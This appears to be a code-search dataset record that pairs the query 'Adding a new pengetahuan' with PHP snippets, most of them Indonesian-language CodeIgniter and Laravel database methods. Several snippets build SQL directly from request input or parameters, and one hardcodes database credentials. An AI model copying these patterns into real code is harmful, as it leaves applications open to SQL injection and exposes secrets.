($this->waktuMain) Jam.\";\n }\n return $str;\n }", "public function show(Pengeluaran $pengeluaran)\n {\n //\n }", "function getListPersenPerKelas($conn,$key) {\n\t\t\t$sql = \"select thnkurikulum,periode,nim,kodeunit, kodemk,kelasmk,totalabsenmhs, totalabsenkelas, kelompok_prak, kelompok_tutor from \".static::table('r_absenmhs').\"\n\t\t\t\t\twhere \".static::getCondition($key,'thnkurikulum,kodemk,kodeunit,periode,kelasmk');\n\t\t\t$rs = $conn->Execute($sql);\n\t\t\t\n\t\t\t$data = array();\n\t\t\twhile($row = $rs->FetchRow()) {\n\t\t\t\tif(empty($row['totalabsenkelas']))\n\t\t\t\t\t$data[$row['nim']] = 100;\n\t\t\t\telse{\n\t\t\t\t\t//$data[$row['nim']] = round(($row['totalabsenmhs']*100)/$row['totalabsenkelas'],2);\n\t\t\t\t\t$data[$row['nim']] = $conn->GetOne(\"select akademik.f_absensi(\".$row['thnkurikulum'].\",'\".$row['periode'].\"','\".$row['kodeunit'].\"','\".$row['kodemk'].\"','\".$row['kelasmk'].\"','\".$row['nim'].\"','\".$row['kelompok_prak'].\"','\".$row['kelompok_tutor'].\"')\");\n\t\t\t\t\t//echo $data[$row['nim']];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn $data;\n\t\t}", "function tampilkan_per_pt($pt){\r\n\t\t\t$query \t= \"SELECT * FROM data WHERE pt='$pt'\";\r\n\t\t\treturn result($query);\r\n\t\t}", "public function jml_permohonan_prosesBO()\n {\n $this->db->select('id_permohonan_ptsp, COUNT(id_permohonan_ptsp) as permohonan_prosesBO');\n $this->db->from('permohonan_ptsp');\n $this->db->where(\n 'status',\n 'Proses BO'\n );\n $this->db->where('status_delete', 0);\n\n $hasil = $this->db->get();\n return $hasil;\n }", "public function show(Pengalamans $pengalamans)\n {\n //\n }", "public function listaTipos(){\n\t\t$query = 'Select GRAL_PAR_PRO_ID, GRAL_PAR_PRO_DESC, GRAL_PAR_PRO_COD\n\t\t\t\t From gral_param_propios \n\t\t\t\t where GRAL_PAR_PRO_GRP = 1500 and GRAL_PAR_PRO_COD <> 0';\n\t\treturn $this->mysql->query($query);\n\t}", "public function getAllDataPenyakit()\n {\n $query = $this->db->query('SELECT * FROM tb_penyakit');\n return $query->result();\n }", "public function proses_pengiriman($where){\n\t\t// return $data->result_array();\n\t\t$this->db->select('*');\n\t\t$this->db->from('detail_beli');\n\t\t$this->db->join('pembelian','detail_beli.id_beli=pembelian.id_beli','left');\n\t\t$this->db->join('produk','detail_beli.id_produk=produk.id_produk','left');\n\t\t$this->db->where('pembelian.status_pembelian=\"dikirim\"');\n\t\t$this->db->where($where);\n\n\t\treturn $this->db->get()->result_array();\n\t}", "public function jml_permohonan_selesai()\n {\n $this->db->select('id_permohonan_ptsp, COUNT(id_permohonan_ptsp) as permohonan_selesai');\n $this->db->from('permohonan_ptsp');\n $this->db->where(\n 'status',\n 'Selesai'\n );\n $this->db->where('status_delete', 0);\n\n $hasil = $this->db->get();\n return $hasil;\n }", "public function getInfoProduk()\n {\n $str = \"{$this->judul} | {$this->getLabel()} (Rp. {$this->harga})\";\n\n return $str;\n }", "public function printPusryciai(){\n return $this->pusryciai;\n echo $pusryciai;\n }", "function TieuChuan_List(){\n\t\t$sql = \"SELECT * FROM dvt_ks_tieuchuan ORDER BY idTC\";\n\t\t$rs = mysql_query($sql) or die(mysql_error());\n\t\treturn $rs;\n\t}", "public function percobaan()\n {\n \t$a = \"Ahmad Muhaimin\";\n \treturn \"Nama Saya Adalah \".$a;\n }", "function getNonPenyesuaianPA($conn) {\n //periode gaji terakhir\n $periodegaji = self::getLastPeriodeGaji($conn);\n $tahunperiode = substr($periodegaji, 0, 4);\n\n //periode penilaian tahun sebelumnya\n $periodepa = $conn->GetOne(\"select kodeperiode from \" . static::table('pa_periode') . \" \n\t\t\t\t\t\twhere substring(kodeperiode,1,4)::integer < $tahunperiode order by kodeperiode desc limit 1\");\n\n \n //acuan periodegaji\n if (!empty($periodepa)) {\n $periodeacuan = $conn->GetOne(\"select periodegaji from \" . static::table('ga_patunjprestasi') . \" \n\t\t\t\t\t\t\twhere kodeperiode = '$periodepa' order by kodeperiode desc limit 1\");\n\n if (!empty($periodeacuan))\n $a_gnpPA = self::getNonPenyesuaian($conn, $periodeacuan);\n }\n return $a_gnpPA;\n }", "public function index()\n {\n $respon = json_decode($this->curl->simple_get($this->API.'/peminjaman'));\n $data['title'] = 'Data Peminjaman Buku';\n $data['datapeminjaman'] = $respon->data;\n $this->load->view('template/header', $data);\n $this->load->view('perpustakaan/peminjaman', $data);\n $this->load->view('template/footer');\n }", "function ListNodos(){\n\t\t$clase=$this->nmclass;\n\t\t$nodosnum=count($this->nodos[$clase]);\n\t\techo(\"Lista de Nodos: <br>\");\n\t\tforeach ($this->nodos[$clase] as $key=>$value) {\n\t\t echo(\"Clave: $key; Valor: $value<br />\\n\");\n\t\t}\n\t}", "function getPrabayarPulsa($number);", "public function listtabelPrncAction() {\n $this->view->tableList = $this->adm_listtabel_serv->getTableList('PERENCANAAN');\n }", "public function show(Penjual $penjual)\n {\n //\n }", "function lap_pgw2(){\n\t\t$masa=$_GET['periode'];\n\t\t$query = mysql_query(\"SELECT a.*,b.*,c.*,d.alamat as alamatp,d.nama_provider as nama_provider,e.* FROM pegawai a, unit_kerja b, posisi_kerja c, provider d, akses e WHERE a.id_unit=b.id_unit AND a.id_posisi=c.id_posisi AND a.id_provider=d.id_provider AND a.id_akses=e.id_akses AND a.aktif='Non Aktif' AND a.tgl_aktif LIKE '$masa%'\");\n\t\twhile($row=mysql_fetch_array($query))\n\t\t\t$data[]=$row;\n\t\tif(isset($data)){\n\t\t\treturn $data;\n\t\t}\n\t}", "public function index()\n {\n //\n // return Penulis::all();\n return PenulisResource::Collection(Penulis::orderBy('nama', 'ASC')->get());\n }", "function printberkasprodi($kd_prodi, $tahun, $semester) {\n\t\t$pbd2 = $this->db->query(\"SELECT * FROM IKD.IKD_D_REKAP_PRODI WHERE KD_PRODI = '\".$kd_prodi.\"' AND KD_TA = '\".$tahun.\"' AND KD_SMT = '\".$semester.\"' ORDER BY KD_DOSEN DESC\")->result_array(); \n return $pbd2;\n }", "function data_mhs(){\r\n\t\t\techo \"KodeMataKuliah : \".$this->KodeMataKuliah.\"<br />\";\r\n\t\t\techo \"SKS : \".$this->SKS.\"<br />\";\r\n\t\t\techo \"Daftar matakuliah yang diambil:<br />\";\r\n\t\t\t\r\n\t\t\t$i = 0; // nomor urut daftar SKS matakuliah yang diambil\r\n\t\t\tforeach($this->NamaMataKuliah as $mk){\r\n\t\t\t\techo ++$i.\". \".$mk.\"<br />\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Cuma buat ganti baris aja kok :-)\r\n\t\t\techo \"<br />\";\r\n\t\t}", "private function head():array\n {\n return array(\n 'Produktname',\n\t\t\t\t'Artikelnummer',\n\t\t\t\t'ean',\n\t\t\t\t'Hersteller',\n\t\t\t\t'Steuersatz',\n\t\t\t\t'Preis',\n\t\t\t\t'Kurzbeschreibung',\n\t\t\t\t'Beschreibung',\n\t\t\t\t'Versandkosten',\n\t\t\t\t'Lagerbestand',\n\t\t\t\t'Kategoriestruktur',\n\t\t\t\t'Attribute',\n\t\t\t\t'Gewicht',\n\t\t\t\t'Lieferzeit',\n\t\t\t\t'Nachnahmegebühr',\n\t\t\t\t'MPN',\n\t\t\t\t'Bildlink',\n\t\t\t\t'Bildlink2',\n\t\t\t\t'Bildlink3',\n\t\t\t\t'Bildlink4',\n\t\t\t\t'Bildlink5',\n\t\t\t\t'Bildlink6',\n\t\t\t\t'Zustand',\n\t\t\t\t'Familienname1',\n\t\t\t\t'Eigenschaft1',\n\t\t\t\t'Familienname2',\n\t\t\t\t'Eigenschaft2',\n\t\t\t\t'ID',\n\t\t\t\t'Einheit',\n\t\t\t\t'Inhalt',\n\t\t\t\t'Freifeld1',\n\t\t\t\t'Freifeld2',\n\t\t\t\t'Freifeld3',\n\t\t\t\t'Freifeld4',\n\t\t\t\t'Freifeld5',\n\t\t\t\t'Freifeld6',\n\t\t\t\t'Freifeld7',\n\t\t\t\t'Freifeld8',\n\t\t\t\t'Freifeld9',\n\t\t\t\t'Freifeld10',\n\t\t\t\t'baseid',\n\t\t\t\t'basename',\n\t\t\t\t'level',\n\t\t\t\t'status',\n\t\t\t\t'external_categories',\n\t\t\t\t'base',\n\t\t\t\t'dealer_price',\n\t\t\t\t'link',\n\t\t\t\t'ASIN',\n\t\t\t\t'Mindestabnahme',\n\t\t\t\t'Maximalabnahme',\n\t\t\t\t'Abnahmestaffelung',\n\t\t\t\t'Energieefiizienz',\n\t\t\t\t'Energieefiizienzbild',\n\t\t\t\t'UVP',\n\t\t\t\t'EVP',\n );\n }", "public function jml_permohonan_prosesKasi()\n {\n $this->db->select('id_permohonan_ptsp, COUNT(id_permohonan_ptsp) as permohonan_prosesKasi');\n $this->db->from('permohonan_ptsp');\n $this->db->where(\n 'status',\n 'Proses Kasi'\n );\n $this->db->where('status_delete', 0);\n\n $hasil = $this->db->get();\n return $hasil;\n }", "public function listdataKeuAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('KEUANGAN');\n }", "public function get_daftar_pesan()\n {\n $penggunaID = $this->session->userdata['id'];\n $query = \"SELECT l.id, l.`jenis`, l.`isi`, os.namaPengguna, l.UUID FROM (\n SELECT o.id AS id_ortu, p.`namaPengguna` FROM tb_siswa s\n JOIN `tb_orang_tua` o\n ON s.id= o.`siswaID` \n JOIN `tb_pengguna` p\n ON s.`penggunaID`=p.id\n WHERE s.penggunaID=$penggunaID)\n AS os JOIN `tb_laporan_ortu` l\n ON os.id_ortu=l.`id_ortu`\n WHERE l.read_status_siswa=0\n ORDER BY l.id DESC\n limit 3\";\n $result = $this->db->query($query);\n return $result->result_array();\n }", "public function listar(){\r\n }", "function lap_pgw(){\n\t\t\n\t\t$period=$_GET['periode'];\n\t\t#$periode=substr($tanggal,0,-3);\n\t\t$query = mysql_query(\"SELECT a.*,b.*,c.*,d.alamat as alamatp,d.nama_provider as nama_provider,e.* FROM pegawai a, unit_kerja b, posisi_kerja c, provider d, akses e WHERE a.id_unit=b.id_unit AND a.id_posisi=c.id_posisi AND a.id_provider=d.id_provider AND a.id_akses=e.id_akses AND a.aktif='Aktif' AND a.tmt_kerja LIKE '$period%'\");\n\t\twhile($row=mysql_fetch_array($query))\n\t\t\t$data[]=$row;\n\t\tif(isset($data)){\n\t\t\treturn $data;\n\t\t}\n\t}", "function get_all_pejabat()\n {\n $result = $this->db->query(\"SELECT\n `pejabat`.*,\n `struktural`.`nm_struktural`,\n `pegawai`.`Nama`\n FROM\n `pejabat`\n LEFT JOIN `pegawai` ON `pejabat`.`idpegawai` = `pegawai`.`idpegawai`\n LEFT JOIN `struktural` ON `struktural`.`idstruktural` =\n `pejabat`.`idstruktural`\")->result_array();\n return $result;\n }", "public function hidupkan_laptop($pemilik,$merk) {\n return \"Hidupkan Laptop $merk punya $pemilik\";\n }", "function Hasil_pencarian($cek,$tempprodi) {\n\t\t\n\t\t//D_TIMAJAR2013 (KD_KELAS, KD_DOSEN)\n\t\t\n\t\t$hp = $this->db->query(\"SELECT DISTINCT B.KD_DOSEN, B.NM_DOSEN, B.NM_DOSEN_F FROM SIA.V_KELAS A, SIA.V_DOSEN B, SIA.D_TIMAJAR2013 C WHERE A.KD_KELAS = C.KD_KELAS AND C.KD_DOSEN = B.KD_DOSEN AND (UPPER(B.NM_DOSEN) LIKE (UPPER ('%\".$cek.\"%')) OR B.KD_DOSEN LIKE '%\".$cek.\"%') AND (A.KD_PRODI IN ('\".$tempprodi.\"'))\")->result_array();\n\t\t\n\t\t\n\t\t/* $out_kd_prodi = $this->db->query(\"SELECT DISTINCT D.KD_PRODI FROM SIA.V_KELAS D, SIA.D_TIMAJAR2013 E WHERE D.KD_KELAS = E.KD_KELAS(+) AND E.KD_DOSEN = '\".$cek.\"'\")->result_array();\n\t\tif(!empty($out_kd_prodi)){\n\t\t\tfor($i=0; $i<count($out_kd_prodi); $i++){\n\t\t\t\tif($i==0) $kd_prodi_b[0] = $out_kd_prodi[$i]['KD_PRODI'];\n\t\t\t\t$kd_prodi_b[0] .= \"','\".$out_kd_prodi[$i]['KD_PRODI'];\n\t\t\t}\n\t\t}else{\n\t\t\t$kd_prodi_b[0] = '';\n\t\t}\n\t\t$hp = $this->db->query(\"SELECT DISTINCT B.KD_DOSEN, B.KD_PRODI, B.NM_DOSEN\n\t\t\t\t\t\t\t\t\tFROM SIA.V_KELAS A, SIA.V_DOSEN B, SIA.D_TIMAJAR2013 C \n\t\t\t\t\t\t\t\t\tWHERE A.KD_KELAS = C.KD_KELAS AND C.KD_DOSEN = B.KD_DOSEN AND (UPPER(B.NM_DOSEN) LIKE (UPPER ('%$cek%')) OR B.KD_DOSEN = '\".$cek.\"') AND (A.KD_PRODI IN ('$tempprodi') OR A.KD_PRODI IN ('\".$kd_prodi_b[0].\"'))\")->result_array(); */\n\t\treturn $hp;\n }", "public function index()\n {\n $this->authorize('tv_khoanthu');\n\n $khoanthus = DB::select(\n \"select tenkhoanthu, sotien,\n sum(if( trangthai like N'Đã hoàn thành' , 1 , 0 )) as sohocsinhdadong,\n count(*) as sohocsinh\n from khoan_thu group by tenkhoanthu, sotien\"\n );\n $hocphis = HocPhi::all();\n return view(\n 'backend.contact.khoanthu.list_khoanthu',\n compact('khoanthus', 'hocphis')\n );\n }", "public function kas_petugas()\n\t{\n\t\t$data['container'] = 'transaction/kas_petugas';\n\t\t$branch_code \t\t= $this->session->userdata('branch_code');\n\t\t$data['kas_petugas']= $this->model_transaction->get_fa_by_branch_code($branch_code);\t\t\n\t\t$data['kas_teller'] = $this->model_transaction->get_account_cash_code_by_branch_code($branch_code);\n\t\t$data['current_date'] = $this->format_date_detail($this->current_date(),'id',false,'/');\n\t\t$this->load->view('core',$data);\n\t}", "public function index()\n\t{\n\t\t// $lands = Land::listLands();\n\t\t$pakans = PakanKomersil::all();\n\n\t\tforeach ($pakans as $key => $pakan) \n\t\t{\n\t\t\t$pakans[$key]->fish = PakanUntuk::cariPakanKomersil($pakan->id);\n\t\t}\n\n\t\treturn view('backend.pakankomersil.index')\n\t\t\t->with('pakans', $pakans);\n\t}", "public function listsPepreasonget()\r\n {\r\n $response = Pepreason::all();\r\n return response()->json($response,200);\r\n }", "public function index()\n {\n\n \t// $data['penulis_list'] = Penulis::pluck('nm_penulis','id');\n \t$data['penulis_list']\t\t= Penulis::select('id','nm_penulis')->get();\n \t$data['penerbit_list']\t\t= Penerbit::select('id','nm_penerbit')->get();\n \t$data['tahun_list']\t\t\t= Tahun_terbit::select('id','tahun')->get();\n $data['klasifikasi_list'] = Klasifikasi::select('id','ket')->get();\n\n return view ('buku.index',$data,compact('buku'));\n }", "public function show_paket1()\n\t\t{\n\t\t\t$show = $this->db->query(\"SELECT * FROM paket WHERE id_paket='netln01'\");\n\t\t\treturn $show;\n\t\t}", "public function show(Pengiriman $pengiriman)\n {\n //\n }", "public function show(Pengumuman $pengumuman)\n {\n //\n }", "function listaJuradoProfesional(){\n\t\t$juradoProfesional = new JuradoProfesional();\n\t\treturn $juradoProfesional->listar();\n\t}", "public function get_puasa()\n\t{\n\t\t$query = $this->db->query(\"\n SELECT (@row_number:=@row_number + 1) \n AS num, nama,NPM,kelas \n FROM data,(SELECT @row_number:=0) AS t \n where puasa='Ya' and NPM!='0192837465'\n order by kelas asc\n\t\t\t\");\t\n\t\t\n\t\treturn $query->result();\n\t}", "function listing() {\r\n\r\n }", "public function getPanjang()\n {\n return $this->panjang;\n }", "function listQueryBaru() {\n\t\t\t$sql = \"select r.* from \".self::table('v_kelas3new').\" r join gate.ms_unit u on r.kodeunit = u.kodeunit\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function pengajuanPinjaman()\n {\n return $this->loans()->whereTerverifikasi(false);\n }", "public function list_data_sedang_proses_admin()\n\t{\n\t\t$data['warga'] = $this->db->get_where('warga', ['id_warga' =>\n\t\t$this->session->userdata('id_warga')])->row_array();\n\t\t$data['total_notif'] = $this->m_warga->jumlah_notif()->result();\n\n\t\t$data_permohonan['data_sedang_proses'] = $this->m_warga->get_data_sedang_proses_admin()->result();\n\n\t\t$this->load->view('header');\n\t\t$this->load->view('warga/sidebar_warga', $data);\n\t\t$this->load->view('topbar', $data);\n\t\t$this->load->view('warga/list_data_permohonan_sedang_proses_admin', $data_permohonan);\n\t\t$this->load->view('footer');\n\t}", "function ambil_paket_list(){\r\n\t\t\r\n\t\t$query = isset($_POST['query']) ? $_POST['query'] : \"\";\r\n\t\t$start = (integer) (isset($_POST['start']) ? $_POST['start'] : $_GET['start']);\r\n\t\t$end = (integer) (isset($_POST['limit']) ? $_POST['limit'] : $_GET['limit']);\r\n\t\t$result=$this->m_master_ambil_paket->ambil_paket_list($query,$start,$end);\r\n\t\techo $result;\r\n\t}", "public function tampil_data(){\n $sql= \"Select * From penjualan Order By id_penjualan DESC\";\n $data=$this->konek->query($sql);\n while ($row=mysqli_fetch_array($data)) {\n $hasil[]=$row;\n }\n return $hasil;\n }", "static function plInfo()\n {\n return (array(\n \"plShortName\" => _(\"Kopano\"),\n \"plDescription\" => _(\"kopano service\").\" (\"._(\"Services\").\")\",\n \"plSelfModify\" => FALSE,\n \"plDepends\" => array(),\n \"plPriority\" => 100,\n \"plSection\" => array(\"administration\"),\n \"plCategory\" => array(\"server\"),\n\n \"plProvidedAcls\"=> array(\n \"start\" => _(\"Start\"),\n \"stop\" => _(\"Stop\"),\n \"restart\" => _(\"Restart\"),\n \"kopanoAccount\" => _(\"Kopano server\"),\n \"kopanoHidden\" => _(\"Kopano hidden\"),\n \"kopanoHttpPort\" => _(\"Kopano HTTP port\"),\n \"kopanoSslPort\" => _(\"Kopano SSL port\"),\n \"kopanoConatinsPublic\" => _(\"Kopano node contains public store\"),\n \"kopanoFilePath\" => _(\"Kopano file path\"),\n \"goKopanoArchiveServer\" => _(\"Kopano Archvie Server\"),\n )\n ));\n }", "public function bernafas()\n \t{\n \t\techo 'Bernafas menggunakan hidung, '.PHP_EOL;\n \t}", "public function show(pelanggan $pelanggan)\n {\n //\n }", "function priznak()\r\n\t{\r\n\t\t$obr = \"SELECT ID, PRIZNAKDOC FROM PRIZNAKDOC ORDER BY ID\";\t\r\n\t\t$res_obr = mysql_query($obr);\r\n\t\t$number = 1;\r\n /* show result */\r\n\t \twhile ($row = mysql_fetch_array($res_obr, MYSQL_ASSOC)) \r\n\t\t{\r\n\t\t\tprintf(\"<option value='\".$row[\"ID\"].\"'>\");\r\n \tprintf ($row[\"PRIZNAKDOC\"]);\r\n\t\t\tprintf(\"</option>\");\r\n\t\t\t$number ++;\r\n\t\t}\r\n\t\tmysql_free_result($res_obr);\r\n\t}", "public function get_pie_survei()\n {\n $this->db->select(\"count(*) as jumlah,kepuasan\");\n $this->db->group_by(\"kepuasan\");\n $this->db->order_by(\"kepuasan\",\"asc\");\n $hasil = $this->db->get($this->polling_table);\n return $hasil->result();\n }", "public function list_data_sedang_proses_rt()\n\t{\n\t\t$data['warga'] = $this->db->get_where('warga', ['id_warga' =>\n\t\t$this->session->userdata('id_warga')])->row_array();\n\t\t$data['total_notif'] = $this->m_warga->jumlah_notif()->result();\n\n\t\t$data_permohonan['data_sedang_proses'] = $this->m_warga->get_data_sedang_proses_rt()->result();\n\n\t\t$this->load->view('header');\n\t\t$this->load->view('warga/sidebar_warga', $data);\n\t\t$this->load->view('topbar', $data);\n\t\t$this->load->view('warga/list_data_permohonan_sedang_proses_rt', $data_permohonan);\n\t\t$this->load->view('footer');\n\t}", "public function index()\n {\n $kdbengkel = $this->Penjualan_model->getIdBengkel($this->session->userdata('outlet_id'));\n\n $data = array(\n 'title' => \"Penjualan\",\n // 'breadcumb' => \"\",\n 'menu' => \"penjualan\",\n 'posisi' => \"aplikasi\",\n );\n\n $param = array('pelanggans' => $this->Constant_model->getDataOneColumnResult('pelanggan', 'id_bengkel', $kdbengkel->idbengkelkasir));\n\n $adata = array_merge($param, $data);\n \n $this->load->view('admin/penjualan/pos', $adata);\n }", "public function index()\n\t{\n\t\t$pns = DB::table('pykmbh_pns')\n\t\t->select('pykmbh_pns.id', 'pykmbh_pns.nipbaru', 'pykmbh_pns.nama', 'pykmbh_skpd.nama as skpd', 'pykmbh_pns.created_at')\n\t\t->leftJoin('pykmbh_pns_skpd', 'pykmbh_pns_skpd.pnsid', '=', 'pykmbh_pns.id')\n\t\t->leftJoin('pykmbh_skpd', 'pykmbh_skpd.id', '=', 'pykmbh_pns_skpd.skpdid')\n\t\t->orderBy('nipbaru', 'asc')\n\t\t->paginate(20);\n\n\t\t$this->layout->content = View::make('pns.index')->with('pns', $pns);\n\t}", "function get_padlist() \n {\n $MYSQL_SERVER = \"localhost\";\n $MYSQL_USER = \"etherpad\";\n $MYSQL_PASS = \"eth3r!pad!\";\n $MYSQL_DB = \"etherpad\";\n \n \n $con=mysqli_connect($MYSQL_SERVER,$MYSQL_USER,$MYSQL_PASS,$MYSQL_DB);\n // Check connection\n $cont = \"\";\n if (mysqli_connect_errno())\n {\n $cont .= \"Failed to connect to MySQL: \" . mysqli_connect_error();\n }\n\n $result = mysqli_query($con,'select distinct substring(store.key,5,locate(\":\",store.key,5)-5) AS pads from store where store.key like \"pad:%\"');\n\n while($row = mysqli_fetch_array($result))\n {\n $cont .= '<div class=\"etherpad-item\"><a href=\"http://stura.hft-leipzig.de/pad/'.$row['pads'].'\" target=\"_blank\">' . $row['pads'] . '</a></div>';\n }\n\n mysqli_close($con);\n \n return $cont;\n }", "public function all_pemesan(){\r\n\r\n $all = $this->db->get(\"pemesan\")->result();\r\n $response['status']=200;\r\n $response['error']=false;\r\n $response['person']=$all;\r\n return $response;\r\n\r\n }", "public function list_wilayah()\n\t{\n\t\tif($this->is_login){\n\t\t\t$products = $this->M_region->getAll();\n\t\t\t// Set Response\n\t\t\t$this->response_code = 200;\n\t\t\t$this->response['status'] = TRUE;\n\t\t\t$this->response['data'] = $products;\n\t\t}\n\n\t\t// Run the Application\n\t\t$this->run(SECURED);\n\t}", "public function showList() {\n\t \treturn 0;\n\t }", "public function jml_permohonan_prosesTimTeknis()\n {\n $this->db->select('id_permohonan_ptsp, COUNT(id_permohonan_ptsp) as permohonan_prosesTimTeknis');\n $this->db->from('permohonan_ptsp');\n $this->db->where(\n 'status',\n 'Proses Tim Teknis'\n );\n $this->db->where('status_delete', 0);\n\n $hasil = $this->db->get();\n return $hasil;\n }", "public function getPregnanciesList()\n {\n return View::make('pages.pregnancies.list');\n }", "public function show(Pekan $pekan)\n {\n //\n }", "function get_perangkat_kerja()\n\t{\n\t\t$sj = $this->get_id_jabatan();\t\n\t\t$query = sprintf(\"select * from frm_isian_8_alat_kerja where kode_jabatan='%s' and kode_instansi='%s'\", $sj['kode'], $sj['kode_instansi']);\n\t\tif($this->input->get('query'))\n\t\t{\n\t\t\t$where = \" and perangkat_kerja like '%\".$this->input->get('query').\"%' or digunakan_untuk like '%\".$this->input->get('query').\"%'\";\n\t\t\t$query .= $where;\n\t\t}\t\t\n\t\t$rs = $this->db->query($query);\n\t\t$data = $rs->result_array();\n\t\techo json_encode(array('total'=>count($data), 'data'=>$data));\n\t}", "public function afficherPanier(){ \n $txt = \"\";\n foreach($this->listeProduits as $value){\n\t$p = $value[0]; // objet produit\n\t$q = $value[1]; // quantité\n\t$txt .= $q . \" unités x \" . $p->getNomProduit() . \" à \" .\n\t$p->getPrixHTVA() . \" euros\\n\";\n\t}\t\n\treturn $txt;\n }", "function tampilUrutNRP($mahasiswa){\n $nama = array_column($mahasiswa, 'NRP');\n array_multisort($nama, SORT_DESC, $mahasiswa);\n $nrpMhs = \"\";\n // looping foreach\n foreach ($mahasiswa as $mhs => $value) {\n // looping for 1 iterasi\n for ($value=0; $value < 1; $value++) { \n $nrpMhs = $nrpMhs.\"Nama : \".$mahasiswa[$mhs]['Nama'].\", NRP : \".$mahasiswa[$mhs]['NRP'].\"<br>\";\n }\n }\n return $nrpMhs;\n }", "public function prosperity() {\t\r\n\t\t\tinclude(\"classes/verse-selector.php\");\r\n\t\t\t$prosperity = new Prosperity_Verses();\r\n\t\t\t$chosen = $prosperity->get_verse();\r\n\t\t\t\r\n\t\t\t$extra = \"<br><a href=\\\"http://lifetoday.org/outreaches/\\\" target=\\\"_blank\\\">Give to an outreach</a>\";\r\n\t\t\techo \"<p id='prosper'>\".$chosen.$extra.\"</p>\";\r\n\t\t}", "public function c_getListOtsOtPadreHoy() {\r\n $otPadreList = $this->Dao_ot_padre_model->getListOtsOtPadreHoy();\r\n echo json_encode($otPadreList);\r\n }" ]
[ "0.6396949", "0.6204486", "0.6165345", "0.6063524", "0.6050605", "0.60323197", "0.602854", "0.600866", "0.59766656", "0.5960257", "0.59445894", "0.59291875", "0.59285694", "0.59019333", "0.58978444", "0.5897578", "0.58824253", "0.58783066", "0.58754206", "0.5870261", "0.5864928", "0.5847302", "0.5845718", "0.5843144", "0.5833816", "0.5831387", "0.5813095", "0.5784451", "0.57500327", "0.57468724", "0.57425463", "0.5740629", "0.57317907", "0.5720489", "0.5716165", "0.57046247", "0.5701227", "0.5700589", "0.56977874", "0.5694222", "0.56894654", "0.5686945", "0.56855047", "0.5681366", "0.56715715", "0.5662498", "0.566065", "0.56557095", "0.5652574", "0.56524664", "0.565118", "0.5646289", "0.5645331", "0.564468", "0.56406176", "0.56381613", "0.5637802", "0.56364924", "0.5634081", "0.5627334", "0.56262267", "0.56177014", "0.56160355", "0.56137687", "0.56129074", "0.56122184", "0.55967844", "0.5595379", "0.5593875", "0.55913436", "0.55848145", "0.55826485", "0.5579082", "0.5578828", "0.5569525", "0.55647886", "0.55645645", "0.55637616", "0.55607784", "0.5558247", "0.5549869", "0.5549324", "0.5548477", "0.55420613", "0.5539228", "0.55388206", "0.5538426", "0.5538421", "0.5531499", "0.5530242", "0.5524996", "0.55177397", "0.55136985", "0.55133677", "0.5508695", "0.5507703", "0.5507424", "0.5506849", "0.5506054", "0.5505692" ]
0.6192468
2
/ Adding a new pengetahuan
function add() { if(isset($_POST) && count($_POST) > 0) { $params = array( 'kode_penyakit' => $this->input->post('kode_penyakit'), 'id_gejala' => $this->input->post('id_gejala'), 'mb' => $this->input->post('mb'), 'md' => $this->input->post('md'), ); $pengetahuan_id = $this->Pengetahuan_model->add_pengetahuan($params); redirect('pengetahuan/index'); } else { $data['_view'] = 'pengetahuan/add'; $this->load->view('layouts/main',$data); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function add_plazo()\n\t{\n\t\tif(!empty($this->data))\n\t\t{\n\t\t\techo var_dump($this->data);\n\t\t\t$etapa = mb_strtoupper($this->data['Plazo']['etapa']);\t\t\n\t\t\t$etapa = $etapa;\n\t\t\t$datos = array('etapa'=> $etapa,\n\t\t\t\t\t\t 'etapa_id'\t=> $this->data['Plazo']['etapa_id'],\n\t\t\t\t\t\t 'plazo'\t=> $this->data['Plazo']['plazo']\t\t\t\t\t\t \n\t\t\t\t\t\t );\n\t\t\t$this->Plazo->create();\n\t\t\tif($this->Plazo->saveAll($datos))\n\t\t\t{\n\t\t\t\t$this->Session->setFlash(__('Plazo creado correctamente'),'mensaje-exito');\n\t\t\t\t$this->redirect(array('action' => 'index_plazos'));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->Session->setFlash(__('Hubo un error al guardar el plazo'),'mensaje-error');\n\t\t\t\t$this->redirect(array('action' => 'index_sede'));\t\t\t\n\t\t\t}\n\t\t}\n\t}", "public function add()\n\t{\n\t\t$data = [\n\t\t\t'BatasNilaiBawah2' => $this->input->post('batas_bawah2'),\n\t\t\t'BatasNilaiAtas2' => $this->input->post('batas_atas2'),\n\t\t\t'PredikatHasil2' => $this->input->post('predikat_hasil2'),\n\t\t\t'KetHasil2' => $this->input->post('ket_hasil2'),\n\t\t];\n\t\t$this->Predikat_hasil2_M->addPredikatHasil2($data);\n\t\t$this->session->set_flashdata('pesan', 'Berhasil ditambahkan!');\n\t\tredirect('nilai/predikat_hasil2');\n\t}", "public function addProses(Request $p)\n {\n //untuk memvalidasi bahwa data yang diisi nanti (dari 5 variabel dibawah) tidak null\n $this->validate($p, [\n 'id_keilmuan' => 'required',\n 'judul_jurnal' => 'required',\n 'nama_penulis' => 'required',\n 'abstrak' => 'required',\n 'kata_kunci' => 'required'\n ]);\n \n //prosesnya disini\n $jurnal = Klasifikasi::create([\n 'id_keilmuan' => request()->get('id_keilmuan'),\n 'judul_jurnal' => request()->get('judul_jurnal'),\n 'nama_penulis' => request()->get('nama_penulis'),\n 'abstrak' => request()->get('abstrak'),\n 'kata_kunci' => request()->get('kata_kunci')\n ]);\n $jurnal->save();\n return redirect()->route('jurnal');\n }", "public function add_peserta_borang($data) {\r\n $objektif = $this-> input -> post('objektif');\r\n $sebab = $this-> input -> post('sebab');\r\n $penyampaian =$this -> input ->post('penyampaian');\r\n $komunikasi = $this-> input -> post('komunikasi');\r\n $interaksi =$this -> input ->post('interaksi');\r\n $respon = $this-> input -> post('respon');\r\n $difahami =$this -> input ->post('difahami');\r\n $kesan = $this-> input -> post('kesan');\r\n $aktiviti =$this -> input ->post('aktiviti');\r\n $bahan = $this-> input -> post('bahan');\r\n $tahap =$this -> input ->post('tahap');\r\n $kemahiran = $this-> input -> post('kemahiran');\r\n $tempoh =$this -> input ->post('tempoh');\r\n $lokasi = $this-> input -> post('lokasi');\r\n $penginapan =$this -> input ->post('penginapan');\r\n $makanan = $this-> input -> post('makanan');\r\n $dewan =$this -> input ->post('dewan');\r\n $urusetia = $this-> input -> post('urusetia');\r\n $faedah = $this-> input -> 